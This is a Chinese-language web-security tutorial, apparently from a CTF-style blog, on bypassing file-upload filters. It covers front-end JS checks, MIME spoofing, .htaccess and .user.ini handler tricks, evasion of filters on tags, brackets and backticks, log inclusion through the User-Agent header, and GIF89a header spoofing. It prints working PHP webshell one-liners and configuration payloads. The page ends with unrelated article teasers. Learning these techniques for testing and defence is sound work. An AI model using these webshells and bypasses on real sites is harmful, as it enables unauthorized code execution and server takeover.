WEB攻防-通用漏洞-文件上傳-js驗證-MIME驗證-user.ini-語言特征

目錄

定義

1.前端驗證

2.MIME驗證

3.htaccess文件和.user. ini

4.對內容進行了過濾,做了內容檢測

5.[ ]符號過濾

6.內容檢測'php' '[]' '{}' ';'

7.'()'也被過濾了

?8.``反引號也被過濾

9.文件頭檢測


定義

文件上傳漏洞是指攻擊者上傳了一個可執行文件(如木馬、病毒、惡意腳本、WebShell等)到服務器執行,并最終獲得網站控制權限的高危漏洞。

1.前端驗證

使用js在前端做了驗證后綴,但是后臺沒有驗證,前端驗證其實是我們本地的驗證,如看到類似如下js驗證代碼

可以通過F12開發者模式,把驗證代碼改了來繞過

就上傳成功了

之后就可以連接后門執行代碼了

2.MIME驗證

屬于后端的驗證,通過抓包可以看到Content-type字段的一個文件格式,如圖就是上傳了一個php文件所顯示的類型

如只允許上傳image/png格式,抓包將其改為允許的文件類型,就可以繞過。

注意:后門代碼需要特定格式后綴解析,不能一圖片后綴解析后門代碼(解析漏洞除外)。圖片中有后門代碼,不能被觸發,所以連接不上后面

而當上面都不行的時候,嘗試大小寫繞過,可以看上傳成功

但是不一定能正常解析,像這樣變成直接下載,這就是錯誤的解析 。這是根據中間件的一個搭建所決定的,有些大小寫繞過就很尷尬,有些你改了之后呢,就會出現解析不了直接下載,或者直接保存的情況

或者是通過多后綴解析,如php5,php7

3.htaccess文件和.user. ini

首先要了解.htaccess通常用于實現URL重寫、訪問控制、錯誤頁面定制、MIME類型設置等功能,且只在Apache下有效,在繞過文件上傳的限制中,在Apache全局配置文件中httpd.conf有這樣一條配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps

這里配置的意思就是將以.php .phtml .php5 .pht .phps為后綴的文件按php文件進行解析。

AddType application/x-httpd-php是將所有文件按照php文件進行解析,如將jpg文件按照php文件進行解析

大部分網站都是用的fastcgi,這個東西可以理解為可以提供web服務器的一種api,而apache/nginx/iis這些服務器都會依靠這種api來運行。而在服務器以fastcgi啟動運行的時候,.user.ini也是php的一種配置文件,php.iniphp的配置文件,它可以做到顯示報錯,導入擴展,文件解析,web站點路徑等等設置。而.user.ini實際上就是一個可以由用戶自定義的php.ini。也就是說.user.ini不僅限于 Apache 服務器,同樣適用于 Nginx 和 IIS 服務器。

.user.ini.htaccess一樣是對當前目錄的所php文件的配置設置,即寫了.user.ini和它同目錄的文件會優先使用.user.ini中設置的配置屬性。前提是有php文件

假設在某個目錄有一個.htaccess文件,配置有兩種,一種如下,表示把muma.jpg文件并以php解析

<FilesMatch "muma.jpg"> //上傳的文件名
SetHandler application/x-httpd-php
</FilesMatch>

或者另一種配置直接解析某一類文件

AddType application/x-httpd-php .jpg

而.user.ini文件配置則是把文件包含進php文件執行,寫法同樣有2種:

auto_prepend_file=auto_append_file=

理解這些前置知識之后,下面說說怎么利用在文件上傳種,思路如下:

上傳一個.htaccess文件/.user.ini文件,里面配置你后續需要上傳的一個帶有后門木馬的png或其他允許的類型文件,上傳成功之后,在把帶有后門木馬的png或其他允許的類型文件上傳,就可以解析文件了。注意.htaccess文件只在Apache下有效,但是是直接設置某種格式以php解析,而.user.ini文件可以是其他的中間價,但是.user.ini必需要當前文件夾下有php文件

.htaccess上傳的例子

首先創建一個.htaccess文件,寫入下面配置內容

<FilesMatch "a.jpg"> //上傳的文件名
SetHandler application/x-httpd-php
</FilesMatch>

抓包把Content-Type類型的application/octet-stream改為image/png(允許的類型)

.htaccess文件設置了a.jpg,所以后門文件也需要命名為a。jpg,再把a.jpg上傳上去

這個時候就會以php去解析a.jpg了

.user.ini類似,如果是其他中間價如nginx的情況下,創建一個.user.ini文件,用上面說的兩個方法包含一個我們后續要上傳的后門文件a.txt

在把后門文件傳上去

如果有php文件,就會被包含進php解析了,訪問存在的php文件就可以getshell了

4.對內容進行了過濾,做了內容檢測

經過上面的方法,user.ini和png文件都可以上傳,但是包含后門代碼的文件上傳失敗,也就是說有內容檢測

測試檢查是過濾的什么代碼

如過濾了類似<?php這類標簽

在與user.ini聯用的基礎上,可以嘗試用短標簽繞過或者是其他語言的標簽繞過

<? echo'123'?> //前提是開啟配置參數short_open tags=on
<?=(表達式)?> //不需要開啟參數設置
<% echo '123 %> //前提是開啟配置參數asp tags=on
<script language="php">echo '1'</script> //不需要修改參數開

如.user.ini文件寫入:

auto_prepend_file=test.png

test png文件使用短標簽寫后門代碼 :

<?=eval($ POST[X]); ?>

修改后就成功上傳了


就可以getsgell了,注意index.php可以不寫,但是要記得.user.ini是需要當前目錄有php文件的

5.[ ]符號過濾

在上面的基礎上可能遇到[]也被過濾了

可以換成{ }

6.內容檢測'php' '[]' '{}' ';'

前置知識:如果一個php文件是由純 php代碼組成,那么php結束標識 ‘?>’,可以省略,建議省略,如果省略,最后一行必須加分號,而不省略,寫完整結構‘<?php ?>’,最后一行可以不寫分號下面例子
?

<?php echo '123' ?> //最后一行允許不加分號<?php echo '123' ;  //必須加分號

而php中system() 函數用于執行外部程序,并顯示其輸出到 web 頁面 ,不需要依賴echo之類的輸出函數

由這個思路,不需要eval這類執行函數,結果user.ini,使用<? system('tac fl*') ?>上傳即可

7.'()'也被過濾了

當括號也被過濾了,也就是說不能通過系統函數,如system()去觸發了,這是可以使用反引號``。

在php中相當于直接執行系統命令

?8.``反引號也被過濾

反引號都被過濾后,基本上就很難再這基礎上直接上傳了,所以要換個思路,下面說說通過包含日志文件去執行

前置知識:中間件一般會記錄日志,這些日志一般都會記錄很多header信息,如User-Agent瀏覽器信息等。

所以可以通過user.ini配置讓php文件包含一個中間價日志文件去執行利用代碼

一般訪問日志默認的位置,如果自定義就不行了

linux:/var/log/nginx/access.log

windows:C:\nginx\conf\nginx.conf

流程還是和user.ini一樣的,讓user.ini包含1.png,然后1.png里使用include把日志文件包含進來,有可能log關鍵字會被過濾,下面的寫法通過字符拼接繞過

auto_prepend_file=1.png			//.user.ini內容
<?=include"/var/lo"."g/nginx/access.l"."og"?>		//1.png內容

在通過UA來插入后門代碼

再去訪問就可以被觸發

9.文件頭檢測

以winhex打開一張gif,可以看到他是以GIF89a開頭,這個就是文件頭特征

常見的文件頭:

知道什么是文件頭之后,只需要在原來的基礎上,加上對應的文件頭就可以了 ,比如上傳user.ini或后門文件,在最開始的地方加上文件頭

//.user.ini文件配置
GIF89a
auto_prepend_file=1.png		//1.png文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		

后面訪問是一樣的

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/64452.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/64452.shtml
英文地址,請注明出處:http://en.pswp.cn/web/64452.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

探索與決策的完美結合:Actor-Critic 方法及其衍生算法

引言 在強化學習領域&#xff0c;如何讓智能體學會做出最優決策是一個關鍵問題。Actor-Critic 方法提供了一種高效的解決方案&#xff0c;它結合了策略梯度&#xff08;Actor&#xff09;和值函數&#xff08;Critic&#xff09;的優點&#xff0c;使智能體能夠在復雜的環境中…

未來網絡技術的新征程:5G、物聯網與邊緣計算(10/10)

一、5G 網絡&#xff1a;引領未來通信新潮流 &#xff08;一&#xff09;5G 網絡的特點 高速率&#xff1a;5G 依托良好技術架構&#xff0c;提供更高的網絡速度&#xff0c;峰值要求不低于 20Gb/s&#xff0c;下載速度最高達 10Gbps。相比 4G 網絡&#xff0c;5G 的基站速度…

數據交易和聯邦學習的背景下的安全屬性

數據交易和聯邦學習的背景下的安全屬性 在數據交易和聯邦學習的背景下,安全屬性對于保護數據隱私、確保系統可靠性和維護交易公平性至關重要。以下將分析文章中涉及的安全屬性以及分析這些屬性的目的。 涉及的安全屬性 雙向認證:文章雖未明確提及傳統意義上的雙向認證機制,…

QWT 之 QwtPlotDirectPainter直接繪制

QwtPlotDirectPainter 是 Qwt 庫中用于直接在 QwtPlot 的畫布上繪制圖形的一個類。它提供了一種高效的方法來實時更新圖表&#xff0c;特別適合需要頻繁更新的數據可視化應用&#xff0c;例如實時數據流的顯示。 使用 QwtPlotDirectPainter 的主要優勢在于它可以繞過 QwtPlot 的…

改變HTML元素的方式有哪些?如何在HTML中添加/替換或刪除元素?

使用 JavaScript 的 DOM 操作 如果想要修改元素的樣式&#xff0c;就要先獲取元素之后再進行下一步操作 獲取元素&#xff1a;可以使用等方法獲取到需要操作的 HTML 元素。 document.getElementById() document.getElementsByClassName() document.getElementsByTagName() d…

SuperMap iClient3D for Cesium等高線標注

kele 前言 在三維地形分析中&#xff0c;等高線分析是一種非常重要的分析方法&#xff0c;它能直觀的表達出地形的高低起伏特征&#xff0c;在三維系統中受到廣泛應用。在SuperMap iClient3D for Cesium中&#xff0c;等高線分析是前端GPU分析&#xff0c;能夠分析并渲染出等高…

從 x86 到 ARM64:CPU 架構的進化與未來

在計算機發展的歷史長河中&#xff0c;x86、x64 和 ARM64 這三大主流 CPU 架構各自書寫了輝煌的篇章。它們不僅代表了技術的進步&#xff0c;更承載著無數創新者的夢想與努力。 x86&#xff1a;從 16 位到 32 位的輝煌之路 誕生與崛起 1978 年&#xff0c;英特爾&#xff08;…

紅魔電競PadPro平板解BL+ROOT權限-KernelSU+LSPosed框架支持

紅魔Padpro設備目前官方未開放解鎖BL&#xff0c;也閹割了很多解鎖BL指令&#xff0c;造成大家都不能自主玩機。此規則從紅魔8開始&#xff0c;就一直延續下來&#xff0c;后續的機型大概率也是一樣的情況。好在依舊有開發者進行適配研究&#xff0c;目前紅魔PadPro平板&#x…

TCP Analysis Flags 之 TCP Out-Of-Order

前言 默認情況下&#xff0c;Wireshark 的 TCP 解析器會跟蹤每個 TCP 會話的狀態&#xff0c;并在檢測到問題或潛在問題時提供額外的信息。在第一次打開捕獲文件時&#xff0c;會對每個 TCP 數據包進行一次分析&#xff0c;數據包按照它們在數據包列表中出現的順序進行處理。可…

<數據集>風力發電機損傷識別數據集<目標檢測>

數據集下載鏈接 &#xff1c;數據集&#xff1e;風力發電機損傷識別數據集&#xff1c;目標檢測&#xff1e;https://download.csdn.net/download/qq_53332949/90187097數據集格式&#xff1a;VOCYOLO格式 圖片數量&#xff1a;2527張 標注數量(xml文件個數)&#xff1a;252…

C++ 設計模式:工廠方法(Factory Method)

鏈接&#xff1a;C 設計模式 鏈接&#xff1a;C 設計模式 - 抽象工廠 鏈接&#xff1a;C 設計模式 - 原型模式 鏈接&#xff1a;C 設計模式 - 建造者模式 工廠方法&#xff08;Factory Method&#xff09;是創建型設計模式之一&#xff0c;它提供了一種創建對象的接口&#xf…

分布式版本管理工具——Git關聯遠程倉庫(github+gitee)

Git遠程倉庫&#xff08;Github&#xff09;的基本使用 一、前言二、Git遠程倉庫介紹三、演示1. 關聯github遠程倉庫2. 關聯gitee&#xff08;碼云&#xff09;遠程倉庫3. 重命名遠程倉庫名4. 移除遠程倉庫 四、結束語 一、前言 古之立大事者&#xff0c;不惟有超世之才&#x…

在 React 項目中安裝和配置 Three.js

React 與 Three.js 的結合 &#xff1a;通過 React 管理組件化結構和應用邏輯&#xff0c;利用 Three.js 實現 3D 圖形的渲染與交互。使用這種方法&#xff0c;我們可以在保持代碼清晰和結構化的同時&#xff0c;實現令人驚嘆的 3D 效果。 在本文中&#xff0c;我們將以一個簡…

Lucene 漏洞歷險記:修復損壞的索引異常

作者&#xff1a;來自 Elastic Benjamin Trent 有時&#xff0c;一行代碼需要幾天的時間才能寫完。在這里&#xff0c;我們可以看到工程師在多日內調試代碼以修復潛在的 Apache Lucene 索引損壞的痛苦。 做好準備 這篇博客與往常不同。它不是對新功能或教程的解釋。這是關于花…

嵌入式硬件面試題

1、請問什么是通孔、盲孔和埋孔&#xff1f;孔徑多大可以做機械孔&#xff0c;孔徑多小必須做激光孔&#xff1f;請問激光微型孔可以直接打在元件焊盤上嗎&#xff0c;為什么&#xff1f; 通孔是貫穿整個PCB的過孔&#xff0c;盲孔是從PCB表層連接到內層的過孔&#xff0c;埋孔…

基礎的基礎之 pillow與opencv相比的特點與優缺點比較

Pillow 和 OpenCV 都是人工智能圖像處理的必不可少的常用庫&#xff0c;但它們有各自的特點和適用場景。 以下是它們的主要特點、優缺點以及適用場景的對比&#xff1a; 1. Pillow&#xff08;Python Imaging Library&#xff09; Pillow 是一個輕量級的圖像處理庫&#xff0…

深度學習J6周 ResNeXt-50實戰解析

&#x1f368; 本文為&#x1f517;365天深度學習訓練營中的學習記錄博客&#x1f356; 原作者&#xff1a;K同學啊 本周任務&#xff1a; 1.閱讀ResNeXt論文&#xff0c;了解作者的構建思路 2.對比之前介紹的ResNet50V2、DenseNet算法 3.復現ResNeXt-50算法 一、模型結構…

Langchain Chat Model 和 Chat Prompt Template

0. 簡介 Chat Model 不止是一個用于聊天對話的模型抽象&#xff0c;更重要的是提供了多角色提示能力&#xff08;System,AI,Human,Function)。 Chat Prompt Template 則為開發者提供了便捷維護不同角色的提示模板與消息記錄的接口。 1. 構造 ChatPromptTemplate from langch…

對話 Project Astra 研究主管:打造通用 AI 助理,主動視頻交互和全雙工對話是未來重點

Project Astra 愿景之一&#xff1a;「系統不僅能在你說話時做出回應&#xff0c;還能在持續的過程中幫助你。」 近期&#xff0c;Google DeepMind 的 YouTube 頻道采訪了 Google DeepMind 研究主管格雷格韋恩 (Greg Wayne)。 格雷格韋恩的研究工作為 DeepMind 的諸多突破性成…

全國青少年信息學奧林匹克競賽(信奧賽)備考實戰之循環結構(for循環語句)(四)

實戰訓練1—最大差值 問題描述&#xff1a; 輸入n個非負整數&#xff0c;找出這個n整數的最大值與最小值&#xff0c;并求最大值和最小值的差值。 輸入格式&#xff1a; 共兩行&#xff0c;第一行為整數的個數 n&#xff08;1≤n≤1000)。第二行為n個整數的值&#xff08;整…